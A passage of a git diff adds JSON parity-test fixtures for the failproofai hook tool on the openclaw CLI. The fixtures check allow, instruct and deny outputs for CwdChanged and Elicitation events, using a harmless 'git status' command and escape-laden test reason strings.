&a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/CwdChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..4a985ec7 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/CwdChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..4a9fa0ea --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/CwdChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..0c4194c9 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/CwdChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..1bbfe1a7 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/CwdChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..37f6f854 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/CwdChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..b53edf5e --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/CwdChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/CwdChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..ea87c8d8 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/CwdChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Elicitation/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Elicitation/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..d948643f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Elicitation/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Elicitation/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..347d609d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Elicitation/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Elicitation/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..b838077d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Elicitation/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Elicitation/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..917665a1 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Elicitation/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Elicitation/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..6c763a18 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Elicitation/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Elicitation/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..c6da748f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Elicitation/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Elicitation/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a4f82397 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Elicitation/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Elicitation/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..4725ed34 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Elicitation/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Elicitation/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4b51065f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Elicitation/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Elicitation/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..ce8357cf --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Elicitation/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Elicitation/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f0f68fbe --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Elicitation/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git 